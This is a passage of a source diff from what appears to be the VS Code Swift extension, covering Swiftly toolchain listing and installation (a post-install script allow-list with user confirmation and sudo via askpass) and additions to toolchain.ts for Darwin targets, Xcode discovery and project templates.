toolchain: ${version}`); + + // Ask user for permission + const userConsent = await showMissingToolchainDialog(version, folder); + if (!userConsent) { + logger?.info(`User declined to install missing toolchain: ${version}`); + return false; + } + + // Use the existing installation function without showing reload notification + // (since we want to continue the current operation) + return await installSwiftlyToolchainWithProgress(version, extensionRoot, logger); +} + +export class Swiftly { + public static cancellationMessage = "Installation cancelled by user"; + + /** + * Finds the version of Swiftly installed on the system. + * + * @returns the version of Swiftly as a `Version` object, or `undefined` + * if Swiftly is not installed or not supported. + */ + public static async version(logger?: SwiftLogger): Promise { + if (!Swiftly.isSupported()) { + return undefined; + } + try { + const { stdout } = await execFile("swiftly", ["--version"]); + return Version.fromString(stdout.trim()); + } catch (error) { + logger?.error(`Failed to retrieve Swiftly version: ${error}`); + return undefined; + } + } + + /** + * Checks if the installed version of Swiftly supports JSON output. + * + * @returns `true` if JSON output is supported, `false` otherwise. + */ + private static async supportsJsonOutput(logger?: SwiftLogger): Promise { + if (!Swiftly.isSupported()) { + return false; + } + try { + const { stdout } = await execFile("swiftly", ["--version"]); + const version = Version.fromString(stdout.trim()); + return version?.isGreaterThanOrEqual(new Version(1, 1, 0)) ?? false; + } catch (error) { + logger?.error(`Failed to check Swiftly JSON support: ${error}`); + return false; + } + } + + /** + * Finds the list of toolchains installed via Swiftly. + * + * Toolchains will be sorted by version number in descending order. + * + * @returns an array of toolchain version names. + */ + public static async list(logger?: SwiftLogger): Promise { + if (!this.isSupported()) { + return []; + } + const version = await Swiftly.version(logger); + if (!version) { + logger?.warn("Swiftly is not installed"); + return []; + } + + if (!(await Swiftly.supportsJsonOutput(logger))) { + return await Swiftly.listFromSwiftlyConfig(logger); + } + + return await Swiftly.listUsingJSONFormat(logger); + } + + private static async listUsingJSONFormat(logger?: SwiftLogger): Promise { + try { + const { stdout } = await execFile("swiftly", ["list", "--format=json"]); + return SwiftlyListResult.parse(JSON.parse(stdout)) + .toolchains.map(toolchain => toolchain.version) + .filter((version): version is ToolchainVersion => + ["system", "stable", "snapshot"].includes(version.type) + ) + .sort(compareSwiftlyToolchainVersion) + .map(version => version.name); + } catch (error) { + logger?.error(`Failed to retrieve Swiftly installations: ${error}`); + return []; + } + } + + private static async listFromSwiftlyConfig(logger?: SwiftLogger) { + try { + const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; + if (!swiftlyHomeDir) { + return []; + } + const swiftlyConfig = await Swiftly.getConfig(); + if (!swiftlyConfig || !("installedToolchains" in swiftlyConfig)) { + return []; + } + const installedToolchains = swiftlyConfig.installedToolchains; + if (!Array.isArray(installedToolchains)) { + return []; + } + return ( + installedToolchains + .filter((toolchain): toolchain is string => typeof toolchain === "string") + // Sort alphabetically in descending order. + // + // This isn't perfect (e.g. "5.10" will come before "5.9"), but this is + // good enough for legacy support. + .sort((lhs, rhs) => rhs.localeCompare(lhs)) + ); + } catch (error) { + logger?.error(`Failed to retrieve Swiftly installations: ${error}`); + throw new Error( + `Failed to retrieve Swiftly installations from disk: ${(error as Error).message}` + ); + } + } + + /** + * Checks whether or not the current operating system supports Swiftly. + */ + public static isSupported() { + return process.platform === "linux" || process.platform === "darwin"; + } + + /** + * Retrieves the location of the toolchain that is currently in use by Swiftly. + * + * @param swiftlyPath Optional path to the Swiftly binary. + * @param cwd Optional current working directory to check within. + */ + public static async inUseLocation(swiftlyPath: string = "swiftly", cwd?: vscode.Uri) { + const { stdout: inUse } = await execFile(swiftlyPath, ["use", "--print-location"], { + cwd: cwd?.fsPath, + }); + return inUse.trimEnd(); + } + + /** + * Retrieves the version name of the toolchain that is currently in use by Swiftly. + * + * @param swiftlyPath Optional path to the Swiftly binary. + * @param cwd Optional current working directory to check within. + */ + public static async inUseVersion( + swiftlyPath: string = "swiftly", + cwd?: vscode.Uri + ): Promise { + if (!this.isSupported()) { + throw new Error("Swiftly is not supported on this platform"); + } + + if (!(await Swiftly.supportsJsonOutput())) { + return undefined; + } + + const { stdout } = await execFile(swiftlyPath, ["use", "--format=json"], { + cwd: cwd?.fsPath, + }); + const result = InUseVersionResult.parse(JSON.parse(stdout)); + return result.version; + } + + /** + * Instructs Swiftly to use a specific version of the Swift toolchain. + * + * @param version The version name to use. Obtainable via {@link Swiftly.list}. + * @param [cwd] Optional working directory to set the toolchain within. + */ + public static async use(version: string, cwd?: string): Promise { + if (!this.isSupported()) { + throw new Error("Swiftly is not supported on this platform"); + } + const useArgs = ["use", "-y"]; + const options: ExecFileOptions = {}; + if (cwd) { + options.cwd = cwd; + await touch(path.join(cwd, ".swift-version")); + } else { + useArgs.push("--global-default"); + } + useArgs.push(version); + await execFile("swiftly", useArgs, options); + } + + /** + * Determine if Swiftly is being used to manage the active toolchain and if so, return + * the path to the active toolchain. + * + * @returns The location of the active toolchain if swiftly is being used to manage it. + */ + public static async toolchain( + extensionRoot: string, + logger?: SwiftLogger, + cwd?: vscode.Uri + ): Promise { + const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; + if (swiftlyHomeDir) { + const { stdout: swiftLocation } = await execFile("which", ["swift"]); + if (swiftLocation.startsWith(swiftlyHomeDir)) { + // Print the location of the toolchain that swiftly is using. If there + // is no cwd specified then it returns the global "inUse" toolchain otherwise + // it respects the .swift-version file in the cwd and resolves using that. + try { + const inUse = await Swiftly.inUseLocation("swiftly", cwd); + if (inUse.length > 0) { + return path.join(inUse, "usr"); + } + } catch (err: unknown) { + logger?.error(`Failed to retrieve Swiftly installations: ${err}`); + const error = err as ExecFileError; + + // Check if this is a missing toolchain error + const missingToolchainError = parseSwiftlyMissingToolchainError(error.stderr); + if (missingToolchainError) { + // Attempt automatic installation + const installed = await handleMissingSwiftlyToolchain( + missingToolchainError.version, + extensionRoot, + logger, + cwd + ); + + if (installed) { + // Retry toolchain location after successful installation + try { + const retryInUse = await Swiftly.inUseLocation("swiftly", cwd); + if (retryInUse.length > 0) { + return path.join(retryInUse, "usr"); + } + } catch (retryError) { + logger?.error( + `Failed to use toolchain after installation: ${retryError}` + ); + } + } else { + // User declined installation - gracefully fall back to global toolchain + logger?.info( + `Falling back to global toolchain after user declined installation of missing toolchain: ${missingToolchainError.version}` + ); + return undefined; + } + } + + // Fall back to original error handling for non-missing-toolchain errors + void vscode.window.showErrorMessage( + `Failed to load toolchain from Swiftly: ${error.stderr}` + ); + } + } + } + return undefined; + } + + /** + * Lists all toolchains available for installation from swiftly. + * + * Toolchains will be sorted by version number in descending order. + * + * @param branch Optional branch to filter available toolchains (e.g., "main" for snapshots). + * @param logger Optional logger for error reporting. + * @returns Array of available toolchains. + */ + public static async listAvailable( + branch?: string, + logger?: SwiftLogger + ): Promise { + if (!this.isSupported()) { + return []; + } + + const version = await Swiftly.version(logger); + if (!version) { + logger?.warn("Swiftly is not installed"); + return []; + } + + if (!(await Swiftly.supportsJsonOutput(logger))) { + logger?.warn("Swiftly version does not support JSON output for list-available"); + return []; + } + + try { + const args = ["list-available", "--format=json"]; + if (branch) { + args.push(branch); + } + const { stdout: availableStdout } = await execFile("swiftly", args); + return SwiftlyListAvailableResult.parse(JSON.parse(availableStdout)) + .toolchains.filter((t): t is AvailableToolchain => + ["system", "stable", "snapshot"].includes(t.version.type) + ) + .sort(compareSwiftlyToolchain); + } catch (error) { + logger?.error(`Failed to retrieve available Swiftly toolchains: ${error}`); + return []; + } + } + + /** + * Installs a toolchain via swiftly with optional progress tracking. + * + * @param version The toolchain version to install. + * @param progressCallback Optional callback that receives progress data as JSON objects. + * @param logger Optional logger for error reporting. + * @param token Optional cancellation token to abort the installation. + */ + public static async installToolchain( + version: string, + extensionRoot: string, + progressCallback?: (progressData: SwiftlyProgressData) => void, + logger?: SwiftLogger, + token?: vscode.CancellationToken + ): Promise { + if (!this.isSupported()) { + throw new Error("Swiftly is not supported on this platform"); + } + + logger?.info(`Installing toolchain ${version} via swiftly`); + + const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "vscode-swift-")); + const postInstallFilePath = path.join(tmpDir, `post-install-${version}.sh`); + + let progressPipePath: string | undefined; + let progressPromise: Promise | undefined; + + if (progressCallback) { + progressPipePath = path.join(tmpDir, `progress-${version}.pipe`); + + await execFile("mkfifo", [progressPipePath]); + + progressPromise = new Promise((resolve, reject) => { + const rl = readline.createInterface({ + input: fsSync.createReadStream(progressPipePath!), + crlfDelay: Infinity, + }); + + // Handle cancellation during progress tracking + const cancellationHandler = token?.onCancellationRequested(() => { + rl.close(); + reject(new Error(Swiftly.cancellationMessage)); + }); + + rl.on("line", (line: string) => { + if (token?.isCancellationRequested) { + rl.close(); + return; + } + + try { + const progressData = SwiftlyProgressData.parse(JSON.parse(line)); + progressCallback(progressData); + } catch (error) { + logger?.error( + new Error(`Failed to parse Swiftly progress: ${line}`, { cause: error }) + ); + } + }); + + rl.on("close", () => { + cancellationHandler?.dispose(); + resolve(); + }); + + rl.on("error", err => { + cancellationHandler?.dispose(); + reject(err); + }); + }); + } + + const installArgs = [ + "install", + version, + "--assume-yes", + "--post-install-file", + postInstallFilePath, + ]; + + if (progressPipePath) { + installArgs.push("--progress-file", progressPipePath); + } + + try { + // Create output streams for process output + const stdoutStream = new Stream.PassThrough(); + const stderrStream = new Stream.PassThrough(); + + // Use execFileStreamOutput with cancellation token + const installPromise = execFileStreamOutput( + "swiftly", + installArgs, + stdoutStream, + stderrStream, + token || null, + {} + ); + + if (progressPromise) { + await Promise.race([ + Promise.all([installPromise, progressPromise]), + new Promise((_, reject) => { + if (token) { + token.onCancellationRequested(() => + reject(new Error(Swiftly.cancellationMessage)) + ); + } + }), + ]); + } else { + await installPromise; + } + + // Check for cancellation before post-install + if (token?.isCancellationRequested) { + throw new Error(Swiftly.cancellationMessage); + } + + if (process.platform === "linux") { + await this.handlePostInstallFile( + postInstallFilePath, + version, + extensionRoot, + logger + ); + } + } catch (error) { + if ( + token?.isCancellationRequested || + (error as Error).message.includes(Swiftly.cancellationMessage) + ) { + logger?.info(`Installation of ${version} was cancelled by user`); + throw new Error(Swiftly.cancellationMessage); + } + throw error; + } finally { + if (progressPipePath) { + try { + await fs.unlink(progressPipePath); + } catch { + // Ignore errors - file may not exist + } + } + + // Clean up post-install file + try { + await fs.unlink(postInstallFilePath); + } catch { + // Ignore errors - file may not exist + } + + if (token?.isCancellationRequested) { + logger?.info(`Cleaned up temporary files for cancelled installation of ${version}`); + } + } + } + + /** + * Handles post-install file created by swiftly installation (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private static async handlePostInstallFile( + postInstallFilePath: string, + version: string, + extensionRoot: string, + logger?: SwiftLogger + ): Promise { + try { + await fs.access(postInstallFilePath); + } catch { + logger?.info(`No post-install steps required for toolchain ${version}`); + return; + } + + logger?.info(`Post-install file found for toolchain ${version}`); + + const validation = await this.validatePostInstallScript(postInstallFilePath, logger); + + if (!validation.isValid) { + const errorMessage = `Post-install script contains unsafe commands. Invalid commands: ${validation.invalidCommands?.join(", ")}`; + logger?.error(errorMessage); + void vscode.window.showErrorMessage( + `Installation of Swift ${version} requires additional system packages, but the post-install script contains commands that are not allowed for security reasons.` + ); + return; + } + + const shouldExecute = await this.showPostInstallConfirmation(version, validation, logger); + + if (shouldExecute) { + await this.executePostInstallScript( + postInstallFilePath, + version, + extensionRoot, + logger + ); + } else { + logger?.warn(`Swift ${version} post-install script execution cancelled by user`); + void vscode.window.showWarningMessage( + `Swift ${version} installation is incomplete. You may need to manually install additional system packages.` + ); + } + } + + /** + * Validates post-install script commands against allow-list patterns. + * Supports apt-get and yum package managers only. + * + * @param postInstallFilePath Path to the post-install script + * @param logger Optional logger for error reporting + * @returns Validation result with command summary + */ + private static async validatePostInstallScript( + postInstallFilePath: string, + logger?: SwiftLogger + ): Promise { + try { + const scriptContent = await fs.readFile(postInstallFilePath, "utf-8"); + const lines = scriptContent + .split("\n") + .filter(line => line.trim() && !line.trim().startsWith("#")); + + const allowedPatterns = [ + /^apt-get\s+-y\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // apt-get -y install packages + /^yum\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // yum install packages + /^\s*$|^#.*$/, // empty lines and comments + ]; + + const invalidCommands: string[] = []; + const packageInstallCommands: string[] = []; + + for (const line of lines) { + const trimmedLine = line.trim(); + if (!trimmedLine) { + continue; + } + + const isValid = allowedPatterns.some(pattern => pattern.test(trimmedLine)); + + if (!isValid) { + invalidCommands.push(trimmedLine); + } else if (trimmedLine.includes("install")) { + packageInstallCommands.push(trimmedLine); + } + } + + const isValid = invalidCommands.length === 0; + + let summary = "The script will perform the following actions:\n"; + if (packageInstallCommands.length > 0) { + summary += `• Install system packages using package manager\n`; + summary += `• Commands: ${packageInstallCommands.join("; ")}`; + } else { + summary += "• No package installations detected"; + } + + return { + isValid, + summary, + invalidCommands: invalidCommands.length > 0 ? invalidCommands : undefined, + }; + } catch (error) { + logger?.error(`Failed to validate post-install script: ${error}`); + return { + isValid: false, + summary: "Failed to read post-install script", + invalidCommands: ["Unable to read script file"], + }; + } + } + + /** + * Shows confirmation dialog to user for executing post-install script + * + * @param version The toolchain version being installed + * @param validation The validation result + * @param logger + * @returns Promise resolving to user's decision + */ + private static async showPostInstallConfirmation( + version: string, + validation: PostInstallValidationResult, + logger?: SwiftLogger + ): Promise { + const summaryLines = validation.summary.split("\n"); + const firstTwoLines = summaryLines.slice(0, 2).join("\n"); + + const message = + `Swift ${version} installation requires additional system packages to be installed. ` + + `This will require administrator privileges.\n\n${firstTwoLines}\n\n` + + `Do you want to proceed with running the post-install script?`; + + logger?.warn( + `User confirmation required to execute post-install script for Swift ${version} installation, + this requires ${firstTwoLines} permissions.` + ); + const choice = await vscode.window.showWarningMessage( + message, + { modal: true }, + "Execute Script", + "Cancel" + ); + + return choice === "Execute Script"; + } + + /** + * Executes post-install script with elevated permissions (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private static async executePostInstallScript( + postInstallFilePath: string, + version: string, + extensionRoot: string, + logger?: SwiftLogger + ): Promise { + logger?.info(`Executing post-install script for toolchain ${version}`); + + const outputChannel = vscode.window.createOutputChannel(`Swift ${version} Post-Install`); + + try { + outputChannel.show(true); + outputChannel.appendLine(`Executing post-install script for Swift ${version}...`); + outputChannel.appendLine(`Script location: ${postInstallFilePath}`); + outputChannel.appendLine("Script contents:"); + const scriptContents = await fs.readFile(postInstallFilePath, "utf-8"); + for (const line of scriptContents.split(/\r?\n/)) { + outputChannel.appendLine(" " + line); + } + outputChannel.appendLine(""); + + await execFile("chmod", ["+x", postInstallFilePath]); + + const command = "sudo"; + const args = [postInstallFilePath]; + + outputChannel.appendLine(`Executing: ${command} ${args.join(" ")}`); + outputChannel.appendLine(""); + + const outputStream = new Stream.Writable({ + write(chunk, _encoding, callback) { + const text = chunk.toString(); + outputChannel.append(text); + callback(); + }, + }); + + await withAskpassServer( + async (nonce, port) => { + await execFileStreamOutput( + command, + ["-A", ...args], + outputStream, + outputStream, + null, + { + env: { + ...process.env, + SUDO_ASKPASS: path.join(extensionRoot, "assets/swift_askpass.sh"), + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: path.join( + extensionRoot, + "dist/src/askpass/askpass-main.js" + ), + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + } + ); + }, + { title: "sudo password for Swiftly post-install script" } + ); + + outputChannel.appendLine(""); + outputChannel.appendLine( + `Post-install script completed successfully for Swift ${version}` + ); + + void vscode.window.showInformationMessage( + `Swift ${version} post-install script executed successfully. Additional system packages have been installed.` + ); + } catch (error) { + logger?.error(Error("Failed to execute post-install script", { cause: error })); + void vscode.window + .showErrorMessage( + `Failed to execute post-install script for Swift ${version}. See command output for more details.`, + "Show Command Output" + ) + .then(selected => { + if (!selected) { + return; + } + outputChannel.show(); + }); + } + } + + /** + * Reads the Swiftly configuration file, if it exists. + * + * @returns A parsed Swiftly configuration. + */ + private static async getConfig(): Promise { + const swiftlyHomeDir: string | undefined = process.env["SWIFTLY_HOME_DIR"]; + if (!swiftlyHomeDir) { + return; + } + const swiftlyConfigRaw = await fs.readFile( + path.join(swiftlyHomeDir, "config.json"), + "utf-8" + ); + return JSON.parse(swiftlyConfigRaw); + } + + /** + * Checks whether or not Swiftly is installed on the current system. + */ + public static async isInstalled(): Promise { + if (!this.isSupported()) { + return false; + } + try { + await findBinaryPath("swiftly"); + return true; + } catch (error) { + return false; + } + } +} + +/** + * Checks whether or not Swiftly is installed and updates context keys appropriately. + */ +export function checkForSwiftlyInstallation(contextKeys: ContextKeys, logger: SwiftLogger): void { + contextKeys.supportsSwiftlyInstall = false; + if (!Swiftly.isSupported()) { + logger.debug(`Swiftly is not available on ${process.platform}`); + return; + } + // Don't block while checking the Swiftly insallation. + void Swiftly.isInstalled().then(async isInstalled => { + if (!isInstalled) { + logger.debug("Swiftly is not installed on this system."); + return; + } + const version = await Swiftly.version(logger); + if (!version) { + logger.warn("Unable to determine Swiftly version."); + return; + } + logger.debug(`Detected Swiftly version ${version}.`); + contextKeys.supportsSwiftlyInstall = version.isGreaterThanOrEqual({ + major: 1, + minor: 1, + patch: 0, + }); + }); +} + +function compareSwiftlyToolchain(lhs: AvailableToolchain, rhs: AvailableToolchain): number { + return compareSwiftlyToolchainVersion(lhs.version, rhs.version); +} + +function compareSwiftlyToolchainVersion(lhs: ToolchainVersion, rhs: ToolchainVersion): number { + switch (lhs.type) { + case "system": { + if (rhs.type === "system") { + return lhs.name.localeCompare(rhs.name); + } + return -1; + } + case "stable": { + if (rhs.type === "stable") { + const lhsVersion = new Version(lhs.major, lhs.minor, lhs.patch); + const rhsVersion = new Version(rhs.major, rhs.minor, rhs.patch); + return rhsVersion.compare(lhsVersion); + } + if (rhs.type === "system") { + return 1; + } + return -1; + } + case "snapshot": + if (rhs.type === "snapshot") { + const lhsDate = new Date(lhs.date); + const rhsDate = new Date(rhs.date); + return rhsDate.getTime() - lhsDate.getTime(); + } + return 1; + } +} diff --git a/src/toolchain/toolchain.ts b/src/toolchain/toolchain.ts index 2181549e6..174bd5e12 100644 --- a/src/toolchain/toolchain.ts +++ b/src/toolchain/toolchain.ts @@ -1,25 +1,32 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021-2023 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as fs from "fs/promises"; +import * as os from "os"; import * as path from "path"; import * as plist from "plist"; import * as vscode from "vscode"; + import configuration from "../configuration"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; -import { execFile, execSwift, pathExists } from "../utilities/utilities"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { expandFilePathTilde, fileExists, pathExists } from "../utilities/filesystem"; +import { findBinaryPath } from "../utilities/shell"; +import { lineBreakRegex } from "../utilities/tasks"; +import { execFile, execSwift } from "../utilities/utilities"; import { Version } from "../utilities/version"; +import { BuildFlags } from "./BuildFlags"; +import { Sanitizer } from "./Sanitizer"; +import { Swiftly } from "./swiftly"; /** * Contents of **Info.plist** on Windows. @@ -27,9 +34,19 @@ import { Version } from "../utilities/version"; interface InfoPlist { DefaultProperties: { XCTEST_VERSION: string | undefined; + SWIFT_TESTING_VERSION: string | undefined; }; } +/** + * Project template information retrieved from `swift package init --help` + */ +export interface SwiftProjectTemplate { + id: string; + name: string; + description: string; +} + /** * Stripped layout of `swift -print-target-info` output. */ @@ -37,6 +54,7 @@ interface SwiftTargetInfo { compilerVersion: string; target?: { triple: string; + unversionedTriple: string; [name: string]: string | string[]; }; paths: { @@ -46,121 +64,603 @@ interface SwiftTargetInfo { [name: string]: string | object | undefined; } +/** + * A Swift compilation target that can be compiled to + * from macOS. These are similar to XCode's target list. + */ +export enum DarwinCompatibleTarget { + iOS = "iOS", + tvOS = "tvOS", + watchOS = "watchOS", + visionOS = "xrOS", +} + +export function getDarwinSDKName(target: DarwinCompatibleTarget): string { + switch (target) { + case DarwinCompatibleTarget.iOS: + return "iphoneos"; + case DarwinCompatibleTarget.tvOS: + return "appletvos"; + case DarwinCompatibleTarget.watchOS: + return "watchos"; + case DarwinCompatibleTarget.visionOS: + return "xros"; + } +} + +export function getDarwinTargetTriple(target: DarwinCompatibleTarget): string | undefined { + switch (target) { + case DarwinCompatibleTarget.iOS: + return "arm64-apple-ios"; + case DarwinCompatibleTarget.tvOS: + return "arm64-apple-tvos"; + case DarwinCompatibleTarget.watchOS: + return "arm64-apple-watchos"; + case DarwinCompatibleTarget.visionOS: + return "arm64-apple-xros"; + } +} + export class SwiftToolchain { + public swiftVersionString: string; + constructor( - public swiftFolderPath: string, - public toolchainPath: string, - public swiftVersionString: string, - public swiftVersion: Version, - public runtimePath?: string, - private defaultTarget?: string, - private defaultSDK?: string, - private customSDK?: string, - public xcTestPath?: string - ) {} - - static async create(): Promise { - const swiftFolderPath = await this.getSwiftFolderPath(); - const toolchainPath = await this.getToolchainPath(swiftFolderPath); - const targetInfo = await this.getSwiftTargetInfo(); - const swiftVersion = await this.getSwiftVersion(targetInfo); - const runtimePath = await this.getRuntimePath(targetInfo); - const defaultSDK = await this.getDefaultSDK(); - const customSDK = this.getCustomSDK(); - const xcTestPath = await this.getXCTestPath( - targetInfo, - swiftVersion, - runtimePath, - customSDK ?? defaultSDK + public swiftFolderPath: string, // folder swift executable in $PATH was found in + public toolchainPath: string, // toolchain folder. One folder up from swift bin folder. This is to support toolchains without usr folder + private targetInfo: SwiftTargetInfo, + public swiftVersion: Version, // Swift version as semVar variable + public runtimePath?: string, // runtime library included in output from `swift -print-target-info` + public defaultSDK?: string, + public customSDK?: string, + public xcTestPath?: string, + public swiftTestingPath?: string, + public swiftPMTestingHelperPath?: string, + public isSwiftlyManaged: boolean = false // true if this toolchain is managed by Swiftly + ) { + this.swiftVersionString = targetInfo.compilerVersion; + } + + static async create( + extensionRoot: string, + folder?: vscode.Uri, + logger?: SwiftLogger + ): Promise { + const { path: swiftFolderPath, isSwiftlyManaged } = await this.getSwiftFolderPath( + folder, + logger ); + const toolchainPath = await this.getToolchainPath( + swiftFolderPath, + extensionRoot, + folder, + logger + ); + const targetInfo = await this.getSwiftTargetInfo( + this._getToolchainExecutable(toolchainPath, "swift"), + logger + ); + const swiftVersion = this.getSwiftVersion(targetInfo); + const [runtimePath, defaultSDK] = await Promise.all([ + this.getRuntimePath(targetInfo), + this.getDefaultSDK(), + ]); + const customSDK = this.getCustomSDK(); + const [xcTestPath, swiftTestingPath, swiftPMTestingHelperPath] = await Promise.all([ + this.getXCTestPath( + targetInfo, + swiftFolderPath, + swiftVersion, + runtimePath, + customSDK ?? defaultSDK, + logger + ), + this.getSwiftTestingPath( + targetInfo, + swiftVersion, + runtimePath, + customSDK ?? defaultSDK, + logger + ), + this.getSwiftPMTestingHelperPath(toolchainPath), + ]); + return new SwiftToolchain( swiftFolderPath, toolchainPath, - targetInfo.compilerVersion, + targetInfo, swiftVersion, runtimePath, - targetInfo.target?.triple, defaultSDK, customSDK, - xcTestPath + xcTestPath, + swiftTestingPath, + swiftPMTestingHelperPath, + isSwiftlyManaged ); } - logDiagnostics(channel: SwiftOutputChannel) { - channel.logDiagnostic(`Swift Path: ${this.swiftFolderPath}`); - channel.logDiagnostic(`Toolchain Path: ${this.toolchainPath}`); + public get unversionedTriple(): string | undefined { + return this.targetInfo.target?.unversionedTriple; + } + + /** build flags */ + public get buildFlags(): BuildFlags { + return new BuildFlags(this); + } + + /** build flags */ + public sanitizer(name: string): Sanitizer | undefined { + return Sanitizer.create(name, this); + } + + /** + * Returns true if the console output of `swift test --parallel` prints results + * to stdout with newlines or not. + */ + public get hasMultiLineParallelTestOutput(): boolean { + return ( + this.swiftVersion.isLessThanOrEqual(new Version(5, 6, 0)) || + this.swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) + ); + } + + /** + * Get active developer dir for Xcode + */ + public static async getXcodeDeveloperDir(env?: { [key: string]: string }): Promise { + const { stdout } = await execFile("xcode-select", ["-p"], { + env: env, + }); + return stdout.trimEnd(); + } + + /** + * @param target Target to obtain the SDK path for + * @returns path to the SDK for the target + */ + public static async getSDKForTarget( + target: DarwinCompatibleTarget + ): Promise { + return await this.getSDKPath(getDarwinSDKName(target)); + } + + /** + * @param sdk sdk name + * @returns path to the SDK + */ + static async getSDKPath(sdk: string): Promise { + // Include custom variables so that non-standard XCode installs can be better supported. + const { stdout } = await execFile("xcrun", ["--sdk", sdk, "--show-sdk-path"], { + env: { ...process.env, ...configuration.swiftEnvironmentVariables }, + }); + return path.join(stdout.trimEnd()); + } + + /** + * Get the list of Xcode applications installed on macOS. + * + * Note: this uses a combination of xcode-select and the Spotlight index and may not contain + * all Xcode installations depending on the user's macOS settings. + * + * @returns an array of Xcode installations in no particular order. + */ + public static async findXcodeInstalls(): Promise { + if (process.platform !== "darwin") { + return []; + } + + // Use the Spotlight index and xcode-select to find available Xcode installations + const [{ stdout: mdfindOutput }, xcodeDeveloperDir] = await Promise.all([ + execFile("mdfind", [`kMDItemCFBundleIdentifier == 'com.apple.dt.Xcode'`]), + this.getXcodeDeveloperDir(), + ]); + const spotlightXcodes = + mdfindOutput.length > 0 ? mdfindOutput.trimEnd().split(lineBreakRegex) : []; + const selectedXcode = this.getXcodeDirectory(xcodeDeveloperDir); + + // Combine the results from both commands + const result = spotlightXcodes; + if (selectedXcode && spotlightXcodes.find(xcode => xcode === selectedXcode) === undefined) { + result.push(selectedXcode); + } + return result; + } + + /** + * Checks common directories for available swift toolchain installations. + * + * @returns an array of toolchain paths + */ + public static async getToolchainInstalls(): Promise { + if (process.platform !== "darwin") { + return []; + } + // TODO: If Swiftly is managing these toolchains then omit them + return Promise.all([ + this.findToolchainsIn("/Library/Developer/Toolchains/"), + this.findToolchainsIn(path.join(os.homedir(), "Library/Developer/Toolchains/")), + this.findCommandLineTools(), + ]).then(results => results.flatMap(a => a)); + } + + /** + * Searches the given directory for any swift toolchain installations. + * + * @param directory the directory path to search in + * @returns an array of toolchain paths + */ + public static async findToolchainsIn(directory: string): Promise { + try { + const toolchains = await Promise.all( + (await fs.readdir(directory, { withFileTypes: true })) + .filter(dirent => dirent.name.startsWith("swift-")) + .map(async dirent => { + const toolchainPath = path.join(dirent.path, dirent.name); + const toolchainSwiftPath = path.join(toolchainPath, "usr", "bin", "swift"); + if (!(await pathExists(toolchainSwiftPath))) { + return null; + } + return toolchainPath; + }) + ); + return toolchains.filter( + (toolchain): toolchain is string => typeof toolchain === "string" + ); + } catch { + // Assume that there are no installations here + return []; + } + } + + /** + * Get a list of new project templates from swift package manager + * @returns a {@link SwiftProjectTemplate} for each discovered project type + */ + public async getProjectTemplates(): Promise { + // Only swift versions >=5.8.0 are supported + if (this.swiftVersion.isLessThan(new Version(5, 8, 0))) { + return []; + } + // Parse the output from `swift package init --help` + const { stdout } = await execSwift(["package", "init", "--help"], "default"); + const lines = stdout.split(/\r?\n/g); + // Determine where the `--type` option is documented + let position = lines.findIndex(line => line.trim().startsWith("--type")); + if (position === -1) { + throw new Error("Unable to parse output from `swift package init --help`"); + } + // Loop through the possible project types in the output + position += 1; + const result: SwiftProjectTemplate[] = []; + const typeRegex = /^\s*([a-zA-z-]+)\s+-\s+(.+)$/; + for (; position < lines.length; position++) { + const line = lines[position]; + // Stop if we hit a new command line option + if (line.trim().startsWith("--")) { + break; + } + // Check if this is the start of a new project type + const match = line.match(typeRegex); + if (match) { + const nameSegments = match[1].split("-"); + result.push({ + id: match[1], + name: nameSegments + .map(seg => seg[0].toLocaleUpperCase() + seg.slice(1)) + .join(" "), + description: match[2], + }); + } else { + // Continuation of the previous project type + result[result.length - 1].description += " " + line.trim(); + } + } + return result; + } + + /** + * Returns the path to the CommandLineTools toolchain if its installed. + */ + public static async findCommandLineTools(): Promise { + const commandLineToolsPath = "/Library/Developer/CommandLineTools"; + if (!(await pathExists(commandLineToolsPath))) { + return []; + } + + const toolchainSwiftPath = path.join(commandLineToolsPath, "usr", "bin", "swift"); + if (!(await pathExists(toolchainSwiftPath))) { + return []; + } + return [commandLineToolsPath]; + } + + /** + * Return fullpath for toolchain executable + */ + public getToolchainExecutable(executable: string): string { + return SwiftToolchain._getToolchainExecutable(this.toolchainPath, executable); + } + + private static _getToolchainExecutable(toolchainPath: string, executable: string): string { + // should we add `.exe` at the end of the executable name + const executableSuffix = process.platform === "win32" ? ".exe" : ""; + return path.join(toolchainPath, "bin", executable + executableSuffix); + } + + /** + * Returns the path to the Xcode application given a toolchain path. Returns undefined + * if no application could be found. + * @param toolchainPath The toolchain path. + * @returns The path to the Xcode application or undefined if none. + */ + private static getXcodeDirectory(toolchainPath: string): string | undefined { + let xcodeDirectory = toolchainPath; + while (path.extname(xcodeDirectory) !== ".app") { + if (path.parse(xcodeDirectory).base === "") { + return undefined; + } + xcodeDirectory = path.dirname(xcodeDirectory); + } + return xcodeDirectory; + } + + /** + * Returns the path to the LLDB executable inside the selected toolchain. + * If the user is on macOS and has no OSS toolchain selected, also search + * inside Xcode. + * @returns The path to the `lldb` executable + * @throws Throws an error if the executable cannot be found + */ + public async getLLDB(): Promise { + return this.findToolchainOrXcodeExecutable("lldb"); + } + + /** + * Returns the path to the LLDB debug adapter executable inside the selected + * toolchain. If the user is on macOS and has no OSS toolchain selected, also + * search inside Xcode. + 